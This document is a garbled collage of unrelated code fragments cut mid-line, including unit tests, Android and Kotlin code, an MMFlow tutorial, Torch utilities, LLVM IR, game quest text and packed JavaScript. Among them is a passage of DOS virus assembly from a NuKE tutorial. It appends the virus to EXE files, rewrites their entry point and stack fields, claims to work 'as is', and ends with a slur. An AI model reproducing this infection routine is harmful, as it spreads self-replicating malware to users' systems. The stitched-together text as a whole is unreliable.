	local indent, expect = pp.getIndentation("    \t"  , 4), 8  ; if indent ~= expect then  error(expect.." "..indent)  end

	-- Two tabs.
	local indent, expect = pp.getIndentation("\t\t"    , 4), 8  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation


it at the END of this Text
     sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!
     mov    word ptr cs:[buffer+16h],dx ;Save new CS Register
     mov    word ptr cs:[buffer+14h],ax ;Save new IP Register
     pop    dx
     pop    ax           ; Restore Original DX:AX Point Location (EOF)
     add    ax,virus_size      ; .STACKs are usually at the end of the code
                               ; in the EXEs, since our virus is now at the
                               ; End, we must move it after our virus, thus
                               ; it back at the END of the File!
     adc    dx,0         ;Add with Carry Flag!
     push   ax
     push   dx                          ;Save new EOF pointer Location
     call   Find_New_Offsets            ;Get NEW offsets for SS:SP
     sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
                                        ;as it should not be counted!
     add    ax,40h                      ;Move Stacks a little after EOF
     mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
     mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
     pop    dx
     pop    ax           ;Restore Original EOF (With Virus Counted)
     push   bx
     push   cx
     mov    cl,7                 ;In Simple, here we are figuring out
     shl    dx,cl                ;the New File Size in 512byte pages
     add    bx,ax                ;Now Rather than using the DIV and
     mov    cl,9                 ;MOD function, I used this one because
     shr    bx,cl                ;It is alot FASTER for the Processor!
     add    dx,bx                ;The Result is exactly same, But
     and    ax,1FFh              ;Shifting bits, results of the
     jz     Its_Even             ;Same function when dealing with base
     inc    dx                   ;16 numbers!
 Its_Even:            ;Read PeterNorton's Advanced ASM Language for
     pop    cx        ;more neat short cuts for the above!
     pop    bx
     mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages
     mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages
 Now we are Ready to write the virus to the EXE File! (Yeah!)
     mov    ah,40h                 ;Write to File
     mov    dx,offset init_Virus   ;This is the BEGINNING offset of your
                                   ;Virus! (Look at NuKE PoX v1.1)
     mov    cx,Virus_size          ;Virus Size
     int    21h
     jc     error_exit             ;Error Exit dude...
     mov    ax,4200h               ;Move File Pointer to the BEGINNING
     xor    cx,cx                  ;of the EXE so, we may now write the
     xor    dx,dx                  ;EXE header!
     int    21h
     mov    ah,40h                ;Write to File
     mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
     mov    cx,1Ch                ;CX=number of bytes to write
     int    21h                   ;Do it!

 ;  finds new Offsets for CS:IP & SS:SP Registers
 Find_New_Offsets        PROC    NEAR
         push    bx
         push    cx
         mov     cl,0Ch              ;(c) Rock Steady/NuKE
         shl     dx,cl               ; I'm dividing here....
         mov     bx,ax
         mov     cl,4                ; And multiply by 16 hear
         shr     bx,cl
         add     dx,bx
         and     ax,0Fh
         pop     cx
         pop     bx
         retn
 Find_New_Offsets        ENDP

                         Rock Steady / NuKE

PS: This code works 100% as is! (Resident Virus) For Non-Residents add a location pointer! Besides, Why the Hell are you write a non-Ressy Virus? You Gay? Look at `NuKE PoX V1.1'


/* Copyright (c) rubicon IT GmbH
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
 * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using EnvDTE;
using EnvDTE80;
using LicenseHeaderManager.Utils;
using NUnit.Framework;
using Rhino.Mocks;

namespace LicenseHeaderManager.Tests
{
  [TestFixture]
  public class AllSolutionProjectsSearcherBaseTest
  {
    [Test]
    public async Task TestGetAllProjects_ReturnsOnlyProjects ()
    {
      await VisualStudioTestContext.SwitchToMainThread();

      var solution = MockRepository.GenerateStub<Solution>();

      var legitProject1 = MockRepository.GenerateStub<Project>();
      var solutionFolder = MockRepository.GenerateStub<Project>();

      var projectList = new List<Project> { legitProject1, solutionFolder };

      solutionFolder.Stub (x => x.Kind).Return (ProjectKinds.vsProjectKindSolutionFolder);
      solutionFolder.Stub (x => x.ProjectItems.Count).Return (0);

      solution.Stub (x => x.GetEnumerator()).Return (projectList.GetEnumerator())


tureInfo.InvariantCulture), expected);
		}

		[Test]
		public static void TestCompositeRangeWithOrWithoutKeys()
		{
			var compositeRange = Enumerable.Range(1, 2).ToCompositeRange(i => i - 1, i => i + 1);
			AreEqual(compositeRange.ToString(CultureInfo.InvariantCulture), "[0..3]: { '1':[0..2]; '2':[1..3] }");

			var compositeRange2 = compositeRange.WithKeys(i => "A" + i);
			AreEqual(compositeRange2.ToString(CultureInfo.InvariantCulture), "[0..3]: { 'A1':[0..2]; 'A2':[1..3] }");

			var compositeRange3 = compositeRange2.WithoutKeys();
			AreEqual(compositeRange3.ToString(CultureInfo.InvariantCulture), "[0..3]: { [0..2]; [1..3] }");

			var compositeRange4 = compositeRange3.WithKeys("A");
			AreEqual(compositeRange4.ToString(CultureInfo.InvariantCulture), "[0..3]: { 'A':[0..2]; 'A':[1..3] }");

			var compositeRange5 = compositeRange4.WithKeys("B");
			AreEqual(compositeRange5.ToString(CultureInfo.InvariantCulture), "[0..3]: { 'B':[0..2]; 'B':[1..3] }");
		}

		[Test]
		public static void TestCompositeRangeWithValues()
		{
			var compositeRange = Enumerable.Range(1, 2).ToCompositeRange(i => i - 1, i => i + 1);
			AreEqual(compositeRange.ToString(CultureInfo.InvariantCulture), "[0..3]: { '1':[0..2]; '2':[1..3] }");

			var compositeRange2 = compositeRange.WithValues(i => "A" + i);
			AreEqual(compositeRange2.ToString(CultureInfo.InvariantCulture), "[A0..A3]: { '1':[A0..A2]; '2':[A1..A3] }");

			var compositeRange3 = compositeRange2.WithValues(i => i, i => "B" + i[1..]);
			AreEqual(compositeRange3.ToString(CultureInfo.InvariantCulture), "[A0..B3]: { '1':[A0..B2]; '2':[A1..B3] }");

			var compositeRange4 =
				compositeRange3.WithoutKeys().WithValues(i => int.Parse(i[1..], CultureInfo.InvariantCulture));
			AreEqual(compositeRange4.ToString(CultureInfo.InvariantCulture), "[0..3]: { [0..2]; [1..3] }");

			AreEqual(compositeRange4, compositeRange.WithoutKeys());
		}

		[Test]
		public static void TestCompositeRangeExclusiveWithOrWithoutKeys()
		{
			var compositeRange = Enumerable.Range(1, 2).ToCompositeRangeExclusive(i => i - 1, i => i + 1);
			AreEqual(compositeRange.ToString(CultureInfo.InvariantCulture), "(0..3): { '1':(0..2); '2':(1..3)


) {
        updateRequest()
    }

    override fun getCurrentRequestProvider(): DiffRequestProducer? {
        val context = if (null === reviewContext) {
            HashMap()
        } else {
            mutableMapOf<Key<*>, Any>(
                ReviewContext.KEY to reviewContext
            )
        }
        return VcsLogChangesBrowser.createDiffRequestProducer(project!!, change, context, true)
    }
}package net.ntworld.mergeRequest.api

import net.ntworld.mergeRequest.*
import net.ntworld.mergeRequest.query.GetMergeRequestFilter

interface MergeRequestApi {
    fun find(projectId: String, mergeRequestId: String): MergeRequest?

    fun approve(projectId: String, mergeRequestId: String, sha: String)

    fun unapprove(projectId: String, mergeRequestId: String)

    fun findApproval(projectId: String, mergeRequestId: String): Approval

    fun getPipelines(projectId: String, mergeRequestId: String): List<Pipeline>

    fun getCommits(projectId: String, mergeRequestId: String): List<Commit>

    fun getChanges(projectId: String, mergeRequestId: String): List<Change>

    fun search(
        projectId: String,
        currentUserId: String,
        filterBy: GetMergeRequestFilter,
        orderBy: MergeRequestOrdering,
        page: Int,
        itemsPerPage: Int
    ): SearchResult

    fun findOrFail(projectId: String, mergeRequestId: String): MergeRequest

    interface SearchResult {
        val data: List<MergeRequestInfo>

        val totalPages: Int

        val totalItems: Int

        val currentPage: Int
    }
}
package pt.tornelas.segmentedprogressbar.pager

import android.graphics.drawable.Drawable
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import com.bumptech.glide.Glide
import com.bumptech.glide.load.DataSource
import com.bumptech.glide.load.engine.GlideException
import com.bumptech.glide.request.RequestListener
import com.bumptech.glide.request.target.Target
import kotlinx.android.synthetic.main.fragment_page.*
import pt.tornelas.segmentedprogressbar.R

private const val PAGE_INDEX = "PAGE_INDEX"

class PageFragment : Fragment(), RequestListener<Drawable> {

    companion object {
        @JvmStatic
        fun newInstance(pageIndex: Int) =
            PageFragment().apply {
                arguments = Bundle().apply {
                    putInt(PAGE_INDEX, pageIndex)
                }
            }
    }

    private var pageIndex: Int = 0

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        arguments?.let {
            pageIndex = it.getInt(PAGE_INDEX)
        }
    }

    override fun onCreateView(inflater: LayoutInflater,
                              container: ViewGroup?,
                              savedInstanceState: Bundle?
    ): View = inflater.inflate(R.layout.fragment_page, container, false)

    override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
        super.onViewCreated(view, savedInstanceState)

        progressBar.visibility = View.VISIBLE
        val aleatoryIndex = (1..50).random()

        Glide.with(this)
            .load("https://picsum.photos/id/${pageIndex + aleatoryIndex}/400/600")
            .listener(this)
            .into(image)
    }

    override fun onLoadFailed(
        e: GlideException?,
        model: Any?,


zip), 和 [US mirror](http://sintel.cs.washington.edu/MPI-Sintel-complete.zip) 下载文件压缩包后，解压文件并对照上方目录检查解压后的数据集目录。
# Tutorial 4: Adding New Modules

MMFlow decomposes a flow estimation method `flow_estimator` into `encoder` and `decoder`. This tutorial is for how to add new components.

## Add a new encoder

1. Create a new file `mmflow/models/encoders/my_model.py`.

```python
from mmcv.runner import BaseModule

from ..builder import ENCODERS

@ENCODERS.register_module()
class MyModel(BaseModule):

    def __init__(self, arg1, arg2):
        pass

    def forward(self, x):  # should return a tuple
        pass

    def init_weights(self, pretrained=None):
        pass
```

2. Import the module in `mmflow/models/encoders/__init__.py`.

```python
from .my_model import MyModel
```

## Add a new decoder

1. Create a new file `mmflow/models/decoders/my_decoder.py`.

You can write a new head inherit from `BaseModule` from MMCV,
and overwrite `forward(self, x)`, `forward_train` and `forward_test` methods.
We have a unified interface for [weights initialization](https://mmcv.readthedocs.io/en/latest/understand_mmcv/cnn.html#weight-initialization) in MMCV,
you can use `init_cfg` to specify the initialization function and arguments,
or overwrite `init_weigths` if you prefer customized initialization.

```python
from ..builder import DECODERS

@DECODERS.register_module()
class MyDecoder(BaseModule):

    def __init__(self, arg1, arg2):
        pass

    def forward(self, *args):
        pass

    # optional
    def init_weights(self):
        pass

    def forward_train(self, *args, flow_gt):
        flow_pred = self.forward(*args)
        return self.losses(flow_pred, flow_gt)

    def forward_test(self,*args, img_metas):
        flow_pred = self.forward(*args)
        return self.get_flow(flow_pred, img_metas)
```

`losses` is the loss function to compute the losses between the model output and target, `get_flow` is implemented in `BaseDecoder` to restore the flow shape as the original shape of input images.

1. Import the module in `mmflow/models/decoders/__init__.py`

```python
from .my_decoder import MyDecoder
```

## Add a new flow_estimator

1. Create a new file `mmflow/models/flow_estimators/my_estimator.py`

You can write a new flow estimator inherit from `FlowEstimator` like PWC-Net, and implement `forward_train` and `forward_test`

```python
from ..builder import FLOW_ESTIMATORS
from .base import FlowEstimator

@FLOW_ESTIMATORS.register_module()
class MyEstimator(FlowEstimator):

    def __init__(self, arg1, arg2):
        pass

    def forward_train(self, imgs):
        pass

    def forward_test(self, imgs):
        pass
```

2. Import the module in `mmflow/models/flow_estimator/__init__.py`

```python
from .my_estimator import MyEstimator
```

3. Use it in your config file.

we set the module type as `MyEstimator`.

```python
model = dict(
    type='MyEstimator',


, we always adjust <c>relation</c> also if both <c>PointInTimeIsAdjustable</c>
		/// are false.</summary>
		/// <param name="relation">Relation to adjust</param>
		/// <param name="registeredRelation">Relation to compare to</param>
		private static void AdjustRelationPointInTime(RelationBase relation, RelationBase registeredRelation, bool force) {
			if (relation.PointInTime > registeredRelation.PointInTime) {
				if (relation.PointInTimeIsAdjustable) {
					relation.SetInternalPointInTime(registeredRelation.PointInTime.Subtract(defaultRelationTimeCorrection));
				} else if (registeredRelation.PointInTimeIsAdjustable && relation.PointInTime != UnknownPointInTime) {
					registeredRelation.SetInternalPointInTime(relation.PointInTime.Add(defaultRelationTimeCorrection));
				} els


])])
      end
      return res
    elseif torch.typename(srcidx) == 'torch.DoubleTensor' then
      local res = torch.DoubleTensor(srcidx:size())
      for i = 1, res:nElement() do
        res[i] = dst_inv[name_converter(src[i])]
      end
      return res
    end
  end
end

------------------ Compute the prediction ------------------
--- Top one accuracy

function nnutils.predict_compare(model, s)
  model:evaluate()
  local data_cuda = s.input:cuda()
  local res = model:forward(data_cuda)
  local max_value, max_indices = torch.max(res:float(), 2)

  local accuracy = s.target:long():eq(max_indices:long()):sum() / s.input:size(1)
  return max_indices, accuracy
end

-- Predict the top k error
-- s.input is the data, s.target is the label, topk = { 1, 3, 5} e.g.
function nnutils.predict_top(model, s, topk)
  model:evaluate()
  local data_cuda = s.input:cuda()
  local output = model:forward(data_cuda)

  local sum = {}
  local maxk = 0
  for _,k in ipairs(topk) do
    sum[k] = 0
    maxk = math.max(maxk, k)
  end
  local _, pred = output:double():sort(2, true)
  local no = output:size(1)
  for i=1,no do
    local predi = pred[i]
    local targi = s.target[i]
    local minik = math.huge
    for k=1,maxk do
       if predi[k] == targi then
          minik = k
          break
       end
    end
    for _,k in ipairs(topk) do
       if minik > k then
          sum[k] = sum[k]+1
       end
    end
  end

  for _, k in ipairs(topk) do
      sum[k] = sum[k] / no
  end

  return sum
end

------------------------------ Misc ---------------------------------------
-- Check layers with given name in net1 and net2, and skip any difference caused by bn sign.
function nnutils.compare_network_skip_bn_upto_sign(net1, net2, layername)
   local i = 1
   local j = 1

   print(string.format("#net1.modules = %d", #net1.modules))
   print(string.format("#net2.modules = %d", #net2.modules))

   while true do
     print("i = ", i)
     print("j = ", j)

     while i <= #net1.modules do
        if torch.type(net1.modules[i]) ~= layername then i = i + 1 else break end
     end
     if i > #net1.modules then break end

     while j <= #net2.modules do
        if torch.type(net2.modules[j]) ~= layername then j = j + 1 else break end
     end
     if j > #net2.modules then break end

     -- Compare their parameters
     local w1 = net1.modules[i]:parameters()
     local w2 = net2.modules[j]:parameters()
     if #w1 ~= #w2 then
        print("compare_network_skip_bn_upto_sign: Dimension mismatch.")
        print(string.format("net1.modules[%d] = ", i))
        print(#w1)
        print(string.format("net2.modules[%d] = ", j))
        print(#w2)
        error("")
     end

     for k = 1, #w1 do
       local s1 = w1[k]:storage()
       local s2 = w2[k]:storage()

       for l = 1, s1:size() do
          if math.abs(math.abs(s1[l]) - math.abs(s2[l])) > 1e-4 then
            error(string.format("Weight net1.modules[%d][%d][%d] (= %f) is different from net2.modules[%d][%d][%d] (= %f)", i, k, l, s1[l], j, k, l,


Observers)
            { RefreshData(); }
        }

        public void RefreshData()
        {
            lock (_lock)
            {
                var newData = Transform(InternalObservableGroup);
                if (newData.Equals(CachedData)) { return; }
                CachedData = newData;
            }

            _onDataChanged.OnNext(CachedData);
            _needsUpdate = false;
        }

        /// <summary>
        /// The method to indicate when the listings should be updated
        /// </summary>
        /// <remarks>
        /// If there is no checking required outside of adding/removing this can
        /// return an empty observable, but common usages would be to refresh every update.
        /// The bool is throw away, but is a workaround for not having a Unit class
        /// </remarks>
        /// <returns>An observable trigger that should trigger when the group should refresh</returns>
        public abstract IObservable<bool> RefreshWhen();

        /// <summary>
        /// The method to generate given data from the data source
        /// </summary>
        /// <param name="observableGroup">The group to process</param>
        /// <returns>The transformed data</returns>
        public abstract T Transform(IObservableGroup observableGroup);

        public T GetData()
        {
            if(_needsUpdate)
            { RefreshData(); }

            return CachedData;
        }

        public virtual void Dispose()
        {
            Subscriptions.DisposeAll();
            _onDataChanged.Dispose();
        }
    }
}


 int[]{0, 0})
			.build();
		when(leftRecords.iterator()).thenReturn(left.iterator());
		Sampler sampler = createSampler();
		doReturn(Double.valueOf(1.0)).when(col1).getSimilarity(new int[]{0, 0}, new int[]{0, 0});
		doReturn(Double.valueOf(0.0)).when(col1).getSimilarity(new int[]{0, 0}, new int[]{1, 1});
		doReturn(Double.valueOf(0.5)).when(col2).getSimilarity(new int[]{0, 0}, new int[]{0, 0});
		doReturn(Double.valueOf(0.3)).when(col2).getSimilarity(new int[]{0, 0}, new int[]{1, 1});
		sampler.sample();
		Collection<SimilaritySet> similaritySets = sampler
			.processRecommendations(
				Collections.singletonList(new IntArrayPair(new int[]{0, 0}, new int[]{0, 0})));
		assertThat(similaritySets).hasSize(1);
		assertThat(similaritySets).contains(new SimilaritySet(new double[]{1.0, 0.5}));
	}

	@Test
	public void testWithRecommendations() {
		when(leftRecords.iterator()).thenReturn(Collections.emptyIterator());
		Sampler sampler = createSampler();
		doReturn(Double.valueOf(1.0)).when(col1).getSimilarity(new int[]{0, 0}, new int[]{0, 0});
		doReturn(Double.valueOf(0.0)).when(col1).getSimilarity(new int[]{0, 0}, new int[]{1, 1});
		doReturn(Double.valueOf(0.5)).when(col2).getSimilarity(new int[]{0, 0}, new int[]{0, 0});
		doReturn(Double.valueOf(0.3)).when(col2).getSimilarity(new int[]{0, 0}, new int[]{1, 1});
		Collection<SimilaritySet> similaritySets = sampler
			.processRecommendations(
				Arrays.asList(new IntArrayPair(new int[]{0, 0}, new int[]{0, 0}),
					new IntArrayPair(new int[]{0, 0}, new int[]{1, 1})));
		assertThat(similaritySets).hasSize(2);
		assertThat(similaritySets).contains(new SimilaritySet(new double[]{1.0, 0.5}));
		assertThat(similaritySets).contains(new SimilaritySet(new double[]{0.0, 0.3}));
	}

	private Sampler createSampler() {
		List<PreprocessedColumnPair> columnPairs = Arrays.asList(col1, col2);
		Collection<int[]> right = ImmutableList.<int[]>builder()
			.add(new int[]{0, 0})
			.add(new int[]{1, 1})
			.build();
		DictionaryRecords rightRecords = Mockito.mock(DictionaryRecords.class);
		when(rightRecords.spliterator()).thenReturn(right.spliterator());
		return SamplerImpl.builder()
			.columnPairs(columnPairs)
			.left(leftRecords.iterator())
			.right(rightRecords)
			.build();
	}

}package de.hpi.is.md.hybrid;

import com.bakdata.util.jackson.CPSBase;
import com.bakdata.util.jackson.CPSTypeIdResolver;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.annotation.JsonTypeIdResolver;
import de.hpi.is.md.sim.SimilarityComputer;
import de.hpi.is.md.sim.SimilarityMeasure;
import de.hpi.is.md.util.Dictionary;
import de.hpi.is.md.util.Hashable;
import it.unimi.dsi.fastutil.doubles.DoubleSet;
import it.unimi.dsi.fastutil.ints.IntCollection;
import java.io.Serializable;

public interface SimilarityIndex extends Serializable {

	double getMinSimilarity();

	IntCollection getSimilarRecords(


; ModuleID = 'empty-category.m'
target datalayout = "e-p:64:64:64-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32-f64:64:64-v64:64:64-v128:128:128-a0:0:64-s0:64:64-f80:128:128-n8:16:32:64-S128"
target triple = "x86_64-apple-macosx10.8.0"

%struct._class_t = type { %struct._class_t*, %struct._class_t*, %struct._objc_cache*, i8* (i8*, i8*)**, %struct._class_ro_t* }
%struct._objc_cache = type opaque
%struct._class_ro_t = type { i32, i32, i32, i8*, i8*, %struct.__method_list_t*, %struct._objc_protocol_list*, %struct._ivar_list_t*, i8*, %struct._prop_list_t* }
%struct.__method_list_t = type { i32, i32, [0 x %struct._objc_method] }
%struct._objc_method = type { i8*, i8*, i8* }
%struct._objc_protocol_list = type { i64, [0 x %struct._protocol_t*] }
%struct._protocol_t = type { i8*, i8*, %struct._objc_protocol_list*, %struct.__method_list_t*, %struct.__method_list_t*, %struct.__method_list_t*, %struct.__method_list_t*, %struct._prop_list_t*, i32, i32, i8** }
%struct._prop_list_t = type { i32, i32, [0 x %struct._prop_t] }
%struct._prop_t = type { i8*, i8* }
%struct._ivar_list_t = type { i32, i32, [0 x %struct._ivar_t] }
%struct._ivar_t = type { i64*, i8*, i8*, i32, i32 }
%struct._category_t = type { i8*, %struct._class_t*, %struct.__method_list_t*, %struct.__method_list_t*, %struct._objc_protocol_list*, %struct._prop_list_t* }

@"\01L_OBJC_CLASS_NAME_" = internal global [6


，不好意思！","那臺傳聲盒的編號是411，需要3顆蛇頸龍的眼球來修理。妳可能得跳進漆黑冰冷的大海深處去尋找黑海岸魚龍……真抱歉……","就像上次壹樣，只要妳給傳聲盒帶去維修所需的物資，它就會給妳吐出報酬的。*打嗝*……什麽？沒事，我很好！”"}, {"從位於傳聲盒411號附近的深海中收集3顆黑海岸蛇頸龍的眼球。"}},
[1002] = {"傳聲盒323號", {"傳聲盒突然靜了下來，然後妳聽見維茲班恩又開始說話。","“下壹個傳聲盒的編號是323。它在奧伯丁北部，不過……我的麥酒哪兒去了？什麽？哦，在路上，小橋邊，妳不會找不到它的。”","維茲班恩咕噥咕噥地說了壹些不連貫的話，然後妳聽見大口喝酒的聲音。","“這個傳聲盒需要月夜猛虎的牙齒來維修……需要6顆。”"}, {"收集6顆月夜猛虎的牙齒，把它們放進傳聲盒323號。"}},
[1003] = {"傳聲盒525號", {"在壹陣什麽東西沸騰和油滴四濺的奇怪聲音之後，妳聽見維茲班恩顫抖的聲音從機器中傳出。","“順著這條路，在遙遠的南方就能找到下壹個傳僧盒。裏應該不難發現它……就在路邊上……在柵欄附近。我想我把它藏在矮……矮樹叢裏了。呵呵呵……沒錯，傳聲盒525號得有從那些灰斑薊熊身上扒下來的灰色頭皮才能維修。對，灰色的……呵呵呵……”","當機器停止下來的時候，妳聽到更多類似吞咽的聲音。然後，突然之間，它又啟動了。","“4塊！”"}, {"收集4塊灰色頭皮，然後把它們放在傳聲盒525號中。"}},
[1004] = {"新的邊疆", {"註意了，英雄們！","塞納裏奧議會正在招募精幹的部落成員來幫助他們探索卡利姆多大陸！在塔納利斯沙漠的西邊隱藏著常人難以想象的危險


		c.Assert(c2.coreColor.Theme, qt.Equals, c1.coreColor.Theme)
		_, err = readBool(reader)
		c.Assert(err, qt.Not(qt.IsNil))

	})

	c.Run("Write and Read RichTextColor Theme", func(c *qt.C) {
		buf := bytes.NewBufferString("")

		theme := 8

		c1 := RichTextColor{
			coreColor: xlsxColor{
				Theme: &theme,
			},
		}

		err := writeRichTextColor(buf, &c1)
		c.Assert(err, qt.IsNil)
		reader := bytes.NewReader(buf.Bytes())
		c2, err := readRichTextColor(reader)
		c.Assert(err, qt.IsNil)
		c.Assert(c2.coreColor.RGB, qt.Equals, c1.coreColor.RGB)
		c.Assert(c2.coreColor.Tint, qt.Equals, c1.coreColor.Tint)
		c.Assert(c2.coreColor.Indexed, qt.Equals, c1.coreColor.Indexed)
		c.Assert(*c2.coreColor.Theme, qt.Equals, *c1.coreColor.Theme)
		_, err = readBool(reader)
		c.Assert(err, qt.Not(qt.IsNil))

	})

	c.Run("Write and Read RichTextFont Bold", func(c *qt.C) {
		buf := bytes.NewBufferString("")

		f1 := RichTextFont{
			Name:      "Font1",
			Size:      12.5,
			Family:    RichTextFontFamilyScript,
			Charset:   RichTextCharsetGreek,
			Color:     &RichTextColor{coreColor: xlsxColor{RGB: "12345678"}},
			Bold:      true,
			Italic:    false,
			Strike:    false,
			VertAlign: RichTextVertAlignSuperscript,
			Underline: RichTextUnderlineSingle,
		}

		err := writeRichTextFont(buf, &f1)
		c.Assert(err, qt.IsNil)
		reader := bytes.NewReader(buf.Bytes())
		f2, err := readRichTextFont(reader)
		c.Assert(err, qt.IsNil)
		c.Assert(f2.Name, qt.Equals, f1.Name)
		c.Assert(f2.Size, qt.Equals, f1.Size)
		c.Assert(f2.Family, qt.Equals, f1.Family)
		c.Assert(f2.Charset, qt.Equals, f1.Charset)
		c.Assert(f2.Color.coreColor.RGB, qt.Equals, f1.Color.coreColor.RGB)
		c.Assert(f2.Bold, qt.Equals, f1.Bold)
		c.Assert(f2.Italic, qt.Equals, f1.Italic)
		c.Assert(f2.Strike, qt.Equals, f1.Strike)
		c.Assert(f2.VertAlign, qt.Equals, f1.VertAlign)
		c.Assert(f2.Underline, qt.Equals, f1.Underline)
		_, err = readBool(reader)
		c.Assert(err, qt.Not(qt.IsNil))

	})

	c.Run("Write and Read RichTextFont Italic", func(c *qt.C) {
		buf := bytes.NewBufferString("")

		f1 := RichTextFont{
			Italic: true,
		}

		err := writeRichTextFont(buf, &f1)
		c.Assert(err, qt.IsNil)
		reader := bytes.NewReader(buf.Bytes())
		f2, err := readRichTextFont(reader)
		c.Assert(err, qt.IsN


 1) {
    for (let j = 0; j < 12; j += 1) {
      statisticsCards[i][j].correct = 0;
      statisticsCards[i][j].errors = 0;
      statisticsCards[i][j].trainMode = 0;
      statisticsCards[i][j].errorsPercent = 0;
    }
  }
  renderStatisticsBlock();
};

let buttonClick = false;

const sort = (e: Event, num: number) => {
  const table = document.getElementById("table");
  let tableRows;
  let switching = true;
  let i;
  let firstItem;
  let secondItem;
  let shouldSwitch;
  while (switching) {
    switching = false;
    tableRows = table.getElementsByTagName("TR");
    for (i = 1; i < tableRows.length - 1; i += 1) {
      shouldSwitch = false;
      firstItem = tableRows[i].getElementsByTagName("TD")[num];
      secondItem = tableRows[i + 1].getElementsByTagName("TD")[num];
      if (firstItem.innerHTML.toLowerCase() > secondItem.innerHTML.toLowerCase() && !buttonClick) {
        shouldSwitch = true;
        break;
      } else if (firstItem.innerHTML.toLowerCase() < secondItem.innerHTML.toLowerCase()
          && buttonClick) {
        shouldSwitch = true;
        break;
      }
    }
    if (shouldSwitch) {
      tableRows[i].parentNode.insertBefore(tableRows[i + 1], tableRows[i]);
      switching = true;
    }
  }
};

const buttonEvent = (e: Event) => {
  let num;
  const target = e.target;
  if ((<Element>target).classList.contains("sort_by_category_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 0;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_word_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 1;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_translation_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 2;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_word_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 3;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_correct_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 4;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_errors_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 5;
    sort(e, num);
  } else if ((<Element>target).classList.contains("sort_by_percentage_button")) {
    if (buttonClick) {
      buttonClick = false;
    } else {
      buttonClick = true;
    }
    num = 6;
    sort(e, num);
  } else if ((<Element>target).classList.contains("reset_button")) {
    resetTable();
  }
};

main.addEventListener("click", buttonEvent);
namespace util {
    /**
     * 震动工具
     * @author chenkai
     * [url=home.php?mod=space&uid=8


3S=5(g,h,j,3){6 4=$1.2.7(3);$1.8.1b(g,$1.e.d.m,4,h,j)};$1.2.3R=5(g,b,f,i,a,1K,3){6 4=$1.2.7(3);$1.8.1b(g,$1.e.d.o,4,b,f,i,a,1K)};$1.2.3Q=5(9,u,3){6 4=$1.2.7(3);$1.8.3P(9,u,4)};$1.2.3O=5(9,a,3){6 4=$1.2.7(3);$1.8.3N(9,a,4)};$1.2.3M=5(9,c,h,3){6 4=$1.2.7(3);$1.8.J(9,c,$1.e.d.p,4,h)};$1.2.3L=5(9,c,b,f,i,j,3){6 4=$1.2.7(3);$1.8.J(9,c,$1.e.d.m,4,b,f,i,j)};$1.2.3K=5(9,c,b,f,i,a,3){6 4=$1.2.7(3);$1.8.J(9,c,$1.e.d.o,4,b,f,i,a)};$1.2.3J=5(9,c,b,f,i,a,1J,3){6 4=$1.2.7(3);$1.8.J(9,c,$1.e.d.I,4,b,f,i,a,1J)};$1.2.3I=5(9,c,b,f,i,a,1I,3){6 4=$1.2.7(3);$1.8.J(9,c,$1.e.d.C,4,b,f,i,a,1I)};$1.2.3H=5(9,a,3){6 4=$1.2.7(3);$1.8.3G(9,a,4)};$1.2.3F=5(g,11,t,3){6 4=$1.2.7(3);$1.8.3E(g,11,t,4)};$1.2.3D=5(g,11,t,a,3){6 4=$1.2.7(3);$1.8.3C(g,11,t,a,4)};$1.2.3B=5(g,t,T,3){6 4=$1.2.7(3);$1.8.3A(g,t,T,4)};$1.2.3z=5(g,a,3){6 4=$1.2.7(3);$1.8.3y(g,a,4)};$1.2.1H=5(1G,Z,1F,3){6 4=$1.2.7(3);$1.8.1H(1G,Z,1F,4)};$1.2.3x=5(l,h,b,1E,10,3){6 4=$1.2.7(3);$1.8.3w(l,4,h,b,1E,10)};$1.2.3v=5(l,h,b,1D,10,1C,1B,3){6 